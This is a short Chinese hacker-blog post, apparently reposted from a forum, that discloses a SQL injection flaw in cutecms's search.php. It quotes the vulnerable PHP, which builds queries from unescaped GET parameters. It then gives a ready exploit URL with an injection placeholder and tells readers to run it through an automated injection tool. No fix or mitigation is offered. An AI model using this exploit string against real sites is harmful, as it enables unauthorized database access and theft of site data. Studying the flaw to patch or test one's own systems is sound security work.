cutecms 注入漏洞

  • A+
所属分类:lcx

From:http://t00ls.net/thread-20189-1-1.html


search.php

略。。
 $c = strval($_GET['c']); 
 $s = strval(trim($_GET['s']));
 $hit = intval($hit);
略

if($c) {

         $bullet = ""bullet"";

         $channelPath = $ch->getChannelPath($channelArr); //栏目页导航路径

         if($c==15) { //都是引号惹的祸。。没引号就是蛋疼
                 $channelType = 100;
                 $searchTable = 'product';
                 $condition = " AND (name LIKE '%$s%' OR des LIKE '%$s%')";
         }
         else if($c==5) {
                 $channelType = 40;
                 $searchTable = 'channel_content';
                 $condition = " AND (title LIKE '%$s%' OR des LIKE '%$s%')";
         }

         $ch->getSubChannelIdArr($c, $channelType);
         $ch->channelSubIdArr[] = $c; //赋值
         
         $channelSubIds = @join(",", $ch->channelSubIdArr);

         $sql = "SELECT COUNT(*) FROM ".PREFIX.$searchTable." WHERE pid IN ($channelSubIds)"; //this...
         if($s) {
                // $condition .= " AND (title LIKE '%$s%' OR des LIKE '%$s%')";
                 $sql .= $condition;
         }

         $total = $db->getOne($sql);

exp http://127.0.0.1/search.php?c=15)%20and%201=%Inject_Here%%20and%201=(select%201
丢大萝卜里就行了

官方测试。。(应为我本机没安装成。。) 

 cutecms 注入漏洞

文章来源于lcx.cc:cutecms 注入漏洞

相关推荐: 视频: 锤子智能手机操作系统发布会官方版

视频: 锤子智能手机操作系统发布会官方版 站长评论: 没别的,牛逼+佩服! 留言评论(旧系统): 一百天 @ 2013-04-03 04:56:41 中国需要这样的团队,看见罗胖子势单力薄的说了一句,“早晚要把苹果干掉”希望来的快点,让那些都不知花钱买个苹果做…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: